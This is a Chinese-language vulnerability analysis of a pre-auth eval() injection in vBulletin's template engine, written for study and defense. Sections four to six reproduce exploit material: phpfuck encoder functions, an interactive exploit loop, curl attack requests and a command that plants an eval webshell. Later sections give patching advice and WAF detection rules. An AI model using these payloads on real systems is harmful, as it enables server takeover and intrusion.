〇、TL;DR

项目 内容
CVE 编号 CVE-2026-61511
CVSS v3 9.8(Critical)
漏洞类型 eval() 注入 / 预认证远程代码执行(Pre-auth RCE)
受影响组件 vB5_Template_Runtime::runMaths()
漏洞文件 /includes/vb5/template/runtime.php
利用前提 无需认证、无需任何用户交互
攻击入口 POST /ajax/render/pagenav,参数 pagenav[pagenumber]
绕过手法 phpfuck 风格编码(数字 + 括号 + XOR ^ + 点号 .
补丁版本 vBulletin 6.2.2(2026-07-01)
发现者 Egidio Romano(EgiX)
披露方 SSD Secure Disclosure(PoC 公开于 2026-07-27)

一、漏洞概述

1.1 事件时间线

CVE-2026-61511 是 vBulletin 模板引擎中一处经典的 eval() 注入漏洞,允许未认证的远程攻击者在服务器上执行任意 PHP 代码。该漏洞由独立安全研究员 Egidio Romano(圈内 ID:EgiX)发现,并通过 SSD Secure Disclosure 漏洞披露计划上报厂商。

2026-06-25  漏洞报告提交至 SSD / vBulletin 厂商
2026-07-01  vBulletin 6.2.2 发布,修复该漏洞;
            同时发布 6.2.1 / 6.2.0 / 6.1.6 的回溯补丁(Patch Level 1)
2026-07-27  SSD Secure Disclosure 公开技术分析与完整 PoC
2026-07-29  本文整理(截至发文尚无在野利用的确认报告,EPSS 30 天约 1.3%)

1.2 漏洞本质

vBulletin 的模板引擎为支持模板内的数学计算,提供了一个 {vb:math} 标签,其底层实现 runMaths() 方法在“过滤”用户输入后,直接将其拼入 eval() 执行。该过滤采用的是字符白名单正则替换,但白名单中包含了数字、括号、算术运算符以及关键的按位异或运算符 ^字符串连接符 .。这组字符足以通过 phpfuck 技巧构造出任意可执行 PHP 代码,从而将一个“数学计算器”变成“代码执行器”。

1.3 受影响版本

分支 受影响范围 补丁状态
vBulletin 6.x 6.2.1 及更早(含 6.1.6 及更早) 升级至 6.2.2;或 6.2.1/6.2.0/6.1.6 PL1 回溯补丁
vBulletin 5.x 5.7.5 及更早(5.0.0 起) 官方不提供 5.x 补丁,建议升级至 6.2.2
vBulletin Cloud 云版本已在漏洞公开前自动打补丁

注意:5.x 分支与 6.x 共用同一套 vB5 模板运行时代码,因此同样存在该漏洞,但厂商明确不再为 5.x 单独发布补丁。这意味着大量遗留论坛将持续暴露在风险中。


二、vBulletin 模板引擎基础

2.1 vB5 模板系统架构

vBulletin 5 引入了一套自研模板系统,模板以纯文本形式存储于数据库,运行时由 vB5_Template 类解析编译。模板中可使用一系列以 {vb:xxx} 形式存在的标签,常见的包括:

标签 作用 示例
{vb:var} 引用模板变量 {vb:var pagenav.currentpage}
{vb:raw} 原始输出变量(不转义) {vb:raw pagenav.pagenumber}
{vb:set} 设置模板变量 {vb:set pagenav.currentpage, ...}
{vb:math} 评估数学表达式 {vb:math {vb:var x} - 1}
{vb:if} 条件判断 {vb:if condition="..."}

其中 {vb:math} 是本次漏洞的核心触发点——它的设计意图仅仅是“把模板里的 1+1 算成 2”,但实现上却选择了 eval()

2.2 模板渲染流程

┌─────────────┐    ┌──────────────┐    ┌──────────────────┐
│ HTTP 请求    │───▶│ 路由分发器    │───▶│ vB5 模板引擎      │
│ (ajax/render)│    │ routestring  │    │ vB5_Template      │
└─────────────┘    └──────────────┘    └────────┬─────────┘
                                                │ 解析 {vb:math} 标签
                                                ▼
                                       ┌──────────────────┐
                                       │ runMaths($str)   │
                                       │ 正则过滤 + eval() │
                                       └────────┬─────────┘
                                                │
                                                ▼
                                       ┌──────────────────┐
                                       │ PHP Zend 引擎     │
                                       │ 执行注入代码       │
                                       └──────────────────┘

{vb:math} 标签内的内容会被提取出来,作为字符串参数 $str 传递给 vB5_Template_Runtime::runMaths()。例如模板片段:

data-page="{vb:math {vb:var pagenav.currentpage} - 1}"

引擎会先把 {vb:var pagenav.currentpage} 解析为具体数值(如 2),再把 2 - 1 交给 runMaths(),最终 eval("\$str = 2 - 1;") 得到 1。问题在于:当 pagenav.currentpage 来自用户输入时,这个“数值”可以是任意构造的字符串。


三、漏洞根因深度分析

3.1 漏洞位置

漏洞位于 /includes/vb5/template/runtime.php,核心方法 vB5_Template_Runtime::runMaths()。精简后的关键代码如下:

public static function runMaths($str)
{
    // ... 前置处理 ...

    // 【1】字符白名单过滤:仅保留以下字符
    //     数字 \d  算术符 + - * / =  括号 ( )
    //     位运算 ^ < > & |  点号 .
    $str = preg_replace('#([^+\-*=/\(\)\d\^<>&|\.]*)#', '', $str);

    if (empty($str))
    {
        $str = '0';
    }
    else
    {
        // ... 一些边界处理 ...

        try
        {
            // 【2】直接拼入 eval() 执行
            $status = @eval("\$str = $str;");
        }
        catch (Error $e)
        {
            $status = false;
        }

        // ...
    }
    return $str;
}

3.2 字符过滤分析

过滤正则为 #([^+\-*=/\(\)\d\^<>&|\.]*)#,它匹配“不在白名单内的任意字符”并将其替换为空字符串。等价于保留如下白名单字符集:

白名单字符:
    数字:       0 1 2 3 4 5 6 7 8 9
    算术运算:   +  -  *  /  =
    括号:       (  )
    位运算:     ^  <  >  &  |
    连接符:     .

也就是说,所有字母(a-zA-Z)、引号、空格、分号、$、花括号等都被剔除。表面上看,这能阻止 system("id") 这类直接包含字母的 payload。但关键在于:

  • ^(按位异或)被允许:PHP 中两个字符串异或会逐字节异或,可生成任意字节;
  • .(字符串连接)被允许:可把多个字符/字符串拼接成函数名与参数;
  • 括号 () 被允许:可用于函数调用与分组;
  • 数字被允许:数字字面量在超过 PHP_INT_MAX 时会溢出为浮点数,其字符串表示形如 1.0E+257,其中包含字母 E 与符号 +——这是 phpfuck 技巧的“字母来源”。

3.3 根本原因

这是一个典型的“过滤 ≠ 转义”安全设计缺陷:

维度 安全做法(参数化) vBulletin 的错误做法(字符过滤)
数据处理模型 数据与代码分离,输入仅作为数据 输入被拼入代码字符串后由解释器执行
失败模式 单个字符越界无影响 白名单一旦遗漏可表达图灵完备子集,即可被绕过
类比 SQL 参数化查询(预编译) SQL 字符串拼接 + 黑名单过滤关键字

即便白名单排除了所有字母,但 {0-9, ^, ., ()} 这个字符集在 PHP 语义下是图灵完备的——足以构造出任意函数名与任意字符串参数。只要 eval() 还在,且白名单允许图灵完备子集,绕过就只是工程量问题,而非是否可能的问题。


四、phpfuck 编码绕过技术

4.1 phpfuck 原理

phpfuck 是一类“受限字符集代码生成”技术(参见 github.com/arxenix/phpfuck),其核心思想是:仅用数字、括号、点号 . 和异或 ^ 构造出可执行的任意 PHP 代码。它依赖 PHP 的三个语言特性:

  1. 整数溢出转浮点:超过 PHP_INT_MAX(64 位下为 9223372036854775807,19 位)的数字字面量会自动转为浮点数,其字符串形式如 9.999...E+257,其中天然含有字母 E、符号 +、小数点 .
  2. 字符串逐字节异或"abc" ^ "XYZ" 会对每个对应位置字符的 ASCII 值做异或,得到新字符串。
  3. 动态函数调用:PHP 允许用字符串变量作为函数名调用,如 $f = "chr"; $f(115);,等价于 chr(115)。因此只要构造出字符串 "chr",就能调用 chr(),进而用 chr(115).chr(121)... 拼出任意字符串。

通过精心选择参与异或的大数字与数字串,可以“算”出目标字符串。例如可构造一个固定表达式 $chr_fun,其求值结果恰好是字符串 "chr"

4.2 构造 chr 函数表达式

漏洞 PoC 中使用的 $chr_fun 如下(一个求值为 "chr" 的 XOR 表达式):

$chr_fun =
  '((((<300位以上的9>).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

其求值过程示意(层次结构):

        ┌─────────────────────────────────────────────┐
Step A: │ (999...9).(9)        →  字符串 "9.99...E+xxx9" │  (整数溢出为浮点,含字母E)
        └───────────────────────┬─────────────────────┘
                                ▼
        ┌─────────────────────────────────────────────┐
Step B: │ A ^ ((2).(0).(4))     →  "9.99...E+xxx9" ^ "204" │  (逐字节异或)
        └───────────────────────┬─────────────────────┘
                                ▼
        ┌─────────────────────────────────────────────┐
Step C: │ ((9).(9))^((9).(9))   →  "99" ^ "99" = "\0\0"     │  (生成零字节)
        └───────────────────────┬─────────────────────┘
                                ▼
        ┌─────────────────────────────────────────────┐
Step D: │ (8).(6).StepC         →  "86" + "\0\0"             │
        └───────────────────────┬─────────────────────┘
                                ▼
        ┌─────────────────────────────────────────────┐
Step E: │ StepB ^ StepD         →  最终求值 = "chr"          │
        └─────────────────────────────────────────────┘

说明:实际求值依赖 PHP 对超长整数字面量溢出为浮点后的具体字符串形式,以及不同长度字符串异或时的截断/对齐行为。表达式中的大数字位数是经过计算精心选定的,以确保各字节异或后恰好得到 'c'(0x63)'h'(0x68)'r'(0x72)

4.3 构造 system 函数名

得到 $chr_fun(即 "chr")后,即可构造 system 字符串。system 的 ASCII 为 115 121 115 116 101 109

// encodeChar 把一个字符的 ASCII 码每位数字分别用括号包起来
// 例如 's'(115) → (1).(1).(5)
function encodeChar($char)
{
    $char = strval(ord($char));     // 's' → "115"
    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) {
        $ret .= '(' . $char[$i] . ').';   // 每位数字 → (d).
    }
    return rtrim($ret, '.');        // (1).(1).(5)
}

// makePayload 把函数名和参数都编码成 chr() 调用链
function makePayload($function, $param)
{
    $ret = '';
    foreach (str_split($function) as $c) {
        $ret .= $chr_fun . '(' . encodeChar($c) . ').';
    }
    $ret = "(" . rtrim($ret, '.') . ')((';   // 函数名包成 (...)
    foreach (str_split($param) as $c) {
        $ret .= $chr_fun . '(' . encodeChar($c) . ').';
    }
    return rtrim($ret, '.') . '))';          // 参数包成 (...)
}

逐字符推导 system

's' = chr(115) = chr((1).(1).(5))      // (1).(1).(5) 求值为字符串 "115",chr 隐式转 int
'y' = chr(121) = chr((1).(2).(1))
's' = chr(115) = chr((1).(1).(5))
't' = chr(116) = chr((1).(1).(6))
'e' = chr(101) = chr((1).(0).(1))
'm' = chr(109) = chr((1).(0).(9))

=> "system" = chr((1).(1).(5)).chr((1).(2).(1)).chr((1).(1).(5))
              .chr((1).(1).(6)).chr((1).(0).(1)).chr((1).(0).(9))

4.4 最终 payload 形式

$chr_fun 代入后,system("id") 的完整 payload 形如:

(<chr_fun>((1).(1).(5)).<chr_fun>((1).(2).(1)).<chr_fun>((1).(1).(5))
 .<chr_fun>((1).(1).(6)).<chr_fun>((1).(0).(1)).<chr_fun>((1).(0).(9)))
(
 (<chr_fun>((1).(0).(5)).<chr_fun>((1).(0).(0)))
)

其中每个 <chr_fun> 是 4.2 中那段求值为 "chr" 的 XOR 表达式。该 payload 求值等价于:

("s"."y"."s"."t"."e"."m")(("i"."d"))   //  = system("id")

整个 payload 只包含 0-9().^,完美通过 runMaths() 的字符白名单,并最终在 eval("\$str = $str;") 中被执行。

phpfuck 编码层次结构:

payload
├── 函数名表达式 (...)
│   └── <chr_fun>(ASCII码)  × N 个字符
│       └── <chr_fun> = 浮点溢出字符串 XOR 数字串  →  "chr"
│           └── chr(115) = "s", chr(121) = "y" ...
└── 参数表达式 (...)
    └── <chr_fun>(ASCII码)  × M 个字符

五、完整攻击链

5.1 攻击路径

┌──────────────┐
│  攻击者(无认证) │
└──────┬───────┘
       │  POST /ajax/render/pagenav
       │  body: routestring=ajax/render/pagenav
       │        &pagenav[pagenumber]=<phpfuck_payload>
       ▼
┌──────────────────────────────────────────┐
│  vBulletin 路由:ajax/render/[template]   │  公开路由,无需登录
│  template = pagenav                       │
└──────┬───────────────────────────────────┘
       ▼
┌──────────────────────────────────────────┐
│  渲染 pagenav 模板                        │
│  {vb:set pagenav.currentpage,            │
│       {vb:raw pagenav.pagenumber}}        │  用户输入 → 模板变量
│  ...                                      │
│  data-page="{vb:math                     │
│       {vb:var pagenav.currentpage} - 1}"  │  变量进入 {vb:math}
└──────┬───────────────────────────────────┘
       ▼
┌──────────────────────────────────────────┐
│  vB5_Template_Runtime::runMaths($str)    │
│  $str = <phpfuck_payload> - 1            │
│  preg_replace 白名单过滤                  │  仅保留 0-9 ^ . () 等
│  @eval("\$str = $str;")                   │  ★ 任意 PHP 代码执行
└──────┬───────────────────────────────────┘
       ▼
┌──────────────────────────────────────────┐
│  system("id; echo _____") 以 web 身份执行 │  命令输出回显到响应
└──────────────────────────────────────────┘

5.2 关键攻击要素

  1. 公开路由ajax/render/[template] 是 vBulletin 用于前端异步渲染模板片段的公开端点,不要求任何认证。任意 template 名均可被指定。

  2. 用户输入直通模板变量pagenav 模板中有如下片段,将 pagenav[pagenumber] 直接赋给模板变量 pagenav.currentpage

    <vb:elseif condition="isset($pagenav['pagenumber'])" />
        {vb:set pagenav.currentpage, {vb:raw pagenav.pagenumber}}
    </vb:if>
    ...
    <vb:if condition="$pagenav['currentpage'] != 1">
        <a class="js-pagenav-button ... data-page="{vb:math {vb:var pagenav.currentpage} - 1}"
    
  3. {vb:math} 把变量交给 runMaths():模板变量 pagenav.currentpage(即攻击者控制的 pagenav[pagenumber])被插入 {vb:math ... - 1},原样传入 runMaths(),再进入 eval()

5.3 PoC 工作原理

EgiX 发布的 PoC(exploit.php)是一个交互式 webshell,关键逻辑:

// 1. 固定路由参数
$params = ["routestring" => "ajax/render/pagenav"];

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;

    // 2. 在命令后追加标记符,用于从响应中提取输出
    $cmd .= "; echo _____";

    // 3. 把 system + 命令 编码为 phpfuck payload
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);

    // 4. 发送请求
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));

    // 5. 用正则从响应中抠出 _____ 与 _____ 之间的命令输出
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m)
        ? print $m[1]
        : die("\n[+] Exploit failed! :(\n\n");
}
  • makePayload("system", $cmd) 把函数名 system 与命令字符串都编码为允许字符;
  • 命令末尾追加 ; echo _____,执行后会在输出中产生 _____<命令输出>_____,PoC 用正则提取中间部分,实现交互式回显;
  • 使用方式:php exploit.php http://target/

六、PoC 复现

6.1 环境搭建(Docker)

以 vBulletin 6.2.1 为靶机(仅供本地复现):

# 拉取含 PHP 8.x + Apache 的基础镜像
docker run -d --name vb-lab -p 8080:80 \
  -e PHP_INI_DISCOVERY=1 \
  php:8.2-apache

# 进入容器,部署 vBulletin 6.2.1 源码至 /var/www/html/
# 配置 MySQL 连接,完成 install.php 初始化
docker exec -it vb-lab bash

关键 PHP 配置(漏洞利用所需):

; php.ini
disable_functions =        ; 确保 system 等函数未被禁用
allow_url_include = Off    ; 不影响本漏洞

6.2 攻击请求构造

最小化 HTTP 请求(<phpfuck_payload> 为第四章构造的 system("id") 编码):

POST /ajax/render/pagenav HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: <自动计算>

routestring=ajax/render/pagenav&pagenav[pagenumber]=<phpfuck_payload>

用 curl 复现:

# 把 makePayload("system","id") 的输出存入 payload.txt
curl -s -X POST "http://target:8080/ajax/render/pagenav" \
  --data-urlencode "routestring=ajax/render/pagenav" \
  --data-urlencode "pagenav[pagenumber]=$(cat payload.txt)"

6.3 验证方法

a) 执行 id 验证命令执行:

预期响应中会包含类似 uid=33(www-data) gid=33(www-data) 的回显(取决于 web 进程用户)。

b) 落地 webshell:

将命令替换为写文件:

makePayload("system", "echo '<?php @eval(\\$_POST[c]);?>' > ./x.php; echo _____")

成功后访问 /x.php 即可获得一句话木马。

c) 验证标志位(无回显场景):

makePayload("system", "id; echo _____")

响应中出现 _____ 包裹的内容即证明 RCE 成功。

复现检查清单:
  [ ] 靶机版本 <= 6.2.1(或 5.x <= 5.7.5)
  [ ] /ajax/render/pagenav 路由可公开访问
  [ ] PHP 未禁用 system / passthru 等执行函数
  [ ] payload 仅含 0-9 ^ . () 字符(可通过白名单校验)
  [ ] 响应中出现 _____ 标记 → 利用成功

七、历史背景与关联

7.1 vBulletin 模板引擎的“前科”

vBulletin 的模板渲染层是代码执行漏洞的高发区,根源在于其长期坚持“模板标签 → 拼 PHP 字符串 → eval()”的实现范式。

时间 CVE 漏洞点 利用方式
2019-09 CVE-2019-16759 ajax/render/widget_phpwidgetConfig[code]evalCode() 直接 eval 模板渲染时直接执行 code 参数;CVSS 9.8
2025-05 CVE-2025-48827 / 48828 PHP 8.1 反射 API 滥用 + 模板引擎 RCE EgiX 报告,PoC 公开后数日即在野利用;CVSS 10.0 / 9.0
2026-07 CVE-2026-61511 runMaths() 字符白名单 + eval() phpfuck 编码绕过;CVSS 9.8

7.2 与 CVE-2019-16759 的对比

二者均为 vBulletin 模板 eval() 注入导致的预认证 RCE,但绕过难度差异显著:

维度 CVE-2019-16759 CVE-2026-61511
入口路由 ajax/render/widget_php ajax/render/pagenav
注入参数 widgetConfig[code] pagenav[pagenumber]
是否过滤 几乎无过滤,直接 eval 有字符白名单正则过滤
字母是否可用 可用,payload 直白 不可用,需 phpfuck 编码
利用门槛 极低(直接传 PHP 代码) 中等(需编码器)
根因 evalCode() 直接 eval 用户输入 白名单含图灵完备字符集 + eval

可见 2019 年的补丁并未触及“模板层禁用 eval()”这一根本问题,而是逐点修补入口。每次封堵一个入口,攻击者就寻找下一个仍把用户输入导向 eval() 的模板标签。{vb:math} 正是这样一个被遗漏的入口。

7.3 EgiX 与 vBulletin 的“缘分”

Egidio Romano(EgiX)已连续多年挖掘 vBulletin 模板引擎漏洞:2025 年 5 月他报告的 CVE-2025-48827/48828 的 PoC 在公开后不久即被在野利用;本次 CVE-2026-61511 是其再次针对同一攻击面(用户输入 → 模板标签 → eval())的深度挖掘成果,且披露时直接附带可交互的完整 PoC。


八、修复方案与防御

8.1 官方修复

  • 首选:升级至 vBulletin 6.2.2,该版本重写了 runMaths() 的实现,移除了对 eval() 的依赖。
  • 回溯补丁:针对无法立即升级的部署,厂商为 6.2.1 / 6.2.0 / 6.1.6 发布了 Patch Level 1 安全补丁。
  • 5.x 分支官方不提供补丁。运行 5.x 的论坛应尽快规划升级到 6.2.2;在升级前应通过 WAF / 反代严格隔离。

8.2 根因修复方向

漏洞的根本修复应当从“消除 eval()”入手,而非继续修补字符白名单:

// ❌ 错误范式:白名单过滤 + eval(本次漏洞)
$str = preg_replace('#([^+\-*=/\(\)\d\^<>&|\.]*)#', '', $str);
@eval("\$str = $str;");

// ✅ 正确范式:用安全的数学表达式解析器替代 eval
//   方案 A:自实现简易算式求值器(仅支持 + - * / ^ 与数字)
function safeMaths($str) {
    if (!preg_match('/^[\d+\-*\/^(). ]+$/', $str)) {
        return '0';                       // 严格白名单,排除 ^ 之外的位运算
    }
    return (string) evaluateExpression($str);  // 自实现递归下降解析
}

//   方案 B:参数化模板渲染,{vb:math} 只接受已校验的数值,不拼代码

核心原则:

  1. 移除 eval(),改用安全的数学表达式解析器(递归下降 / shunting-yard 算法);
  2. 严格类型校验{vb:math} 的输入应为纯数字与算术运算符,禁止位运算符 ^ & | 与字符串连接符 .
  3. 参数化模板渲染:模板变量与可执行代码严格分离,用户数据永不进入代码上下文。

8.3 WAF 临时缓解

在无法立即打补丁时,可通过 WAF / 反向代理进行临时缓解:

# 拦截规则示例(语义化伪规则)
规则1: 请求路径 == /ajax/render/pagenav
       AND 请求体包含 pagenav[pagenumber]
       AND pagenav[pagenumber] 值长度异常(> 64 字符)  → 拦截

规则2: pagenav[pagenumber] 值中出现连续的 ^( 与 ). 模式
       (phpfuck 特征:大量 XOR 与点号连接)           → 拦截

规则3: pagenav[pagenumber] 值中 . 与 ^ 的密度异常
       (正常分页号为纯数字,不应含 ^ 或大量 .)        → 拦截

注意:WAF 规则仅为缓解措施,phpfuck payload 可通过等价变形规避简单特征,打补丁才是最终方案

8.4 深度防御建议

层次 措施
模板层 禁用/限制危险模板标签({vb:math} 等可触发代码执行者);模板沙箱化,限制可用函数
运行层 PHP disable_functions 禁用 system/exec/shell_exec/passthru 等;启用 open_basedir
架构层 公开路由 ajax/render/* 增加频率限制与行为基线检测;敏感模板渲染要求会话校验
编码层 输入输出编码统一框架;用户数据与代码上下文严格隔离

九、PHP eval() 注入的通用启示

9.1 eval() 的危险性

eval() 是 PHP 中最危险的函数之一:它把任意字符串作为 PHP 代码执行,一旦有任何用户可控数据进入其参数,就等同于把代码执行权交给攻击者。PHP 官方手册明确警示:“The eval() language construct is very dangerous because it allows execution of arbitrary PHP code.” 在 vBulletin 这类成熟商业产品中,eval() 仍被用于模板渲染,是此次漏洞存在的结构性根因。

9.2 安全范式对比:过滤 vs 参数化

┌─────────────────────────────────────────────────────────────┐
│  过滤范式(黑/白名单 + 字符串拼接)                          │
│  输入 → 过滤 → 拼入代码 → 解释器执行                          │
│  风险:白名单若允许图灵完备子集 → 必然可绕过                    │
│  代表:本次漏洞、SQL 关键字过滤、XSS 标签过滤                 │
├─────────────────────────────────────────────────────────────┤
│  参数化范式(数据与代码分离)                                  │
│  输入 → 作为数据传入 → 解释器仅当数据处理                      │
│  风险:极低,输入无法改变代码结构                              │
│  代表:SQL 预编译、模板引擎自动转义、占位符渲染               │
└─────────────────────────────────────────────────────────────┘

判断一个过滤方案是否安全,可借助一个思维实验:“白名单字符集是否图灵完备?”。若答案是“是”(如本例的 {0-9, ^, ., ()}),则无论怎么调参都只是延迟被绕过的时间,而非消除风险。

9.3 其他 CMS 中的类似漏洞对比

CMS 漏洞 机制 缓解
vBulletin CVE-2019-16759 widget_php 模板直接 eval code 参数 禁用 widget_php 渲染
vBulletin CVE-2026-61511 runMaths() 白名单 + eval 移除 eval,改用解析器
WordPress 部分插件 RCE eval() / create_function() 处理短码 弃用 create_function,移除 eval
Drupal CVE-2018-7600 (Drupalgeddon2) 渲染数组参数导致代码执行 参数化渲染,严格类型校验
Joomla 历史多处 RCE 模板/配置反序列化与代码注入 禁用危险函数,输入校验

共性教训:只要用户数据能流入代码执行上下文(evalcreate_functionpreg_replace /e、反序列化等),过滤都不是可靠的防御;参数化与类型隔离才是。

9.4 防御 Checklist

[ ] 代码中是否存在 eval() / create_function() / preg_replace(/e)?逐一审查
[ ] 若必须用 eval(),其参数是否完全由字面量构成(无任何用户/外部数据)?
[ ] 模板引擎是否将用户数据与代码上下文严格分离?
[ ] 白名单字符集是否图灵完备?若是,视为不安全
[ ] 危险函数(system/exec/shell_exec 等)是否在 disable_functions 中?
[ ] 是否对公开渲染端点(ajax/render/*)做了访问控制与频率限制?
[ ] 是否有 WAF 规则覆盖 phpfuck / 受限字符集 payload 特征?
[ ] 是否建立了模板标签白名单,禁用可触发代码执行的标签?
[ ] 是否持续跟踪 vBulletin / 所用 CMS 的安全公告并及时打补丁?
[ ] 5.x 等不提供补丁的遗留分支是否有明确的升级/隔离计划?

附:关键文件与参考

  • 漏洞文件:/includes/vb5/template/runtime.phpvB5_Template_Runtime::runMaths()
  • 攻击路由:POST /ajax/render/pagenav,参数 pagenav[pagenumber]
  • 补丁版本:vBulletin 6.2.2
  • 披露资料:SSD Secure Disclosure(2026-07-27)
  • 相关项目:phpfuck 受限字符集编码(github.com/arxenix/phpfuck
  • 历史 CVE:CVE-2019-16759、CVE-2025-48827、CVE-2025-48828

本文技术细节基于 SSD Secure Disclosure 公开 advisory 及 EgiX 发布的 PoC 整理。再次强调:所有内容仅用于安全研究与防御教育,请勿用于未授权测试。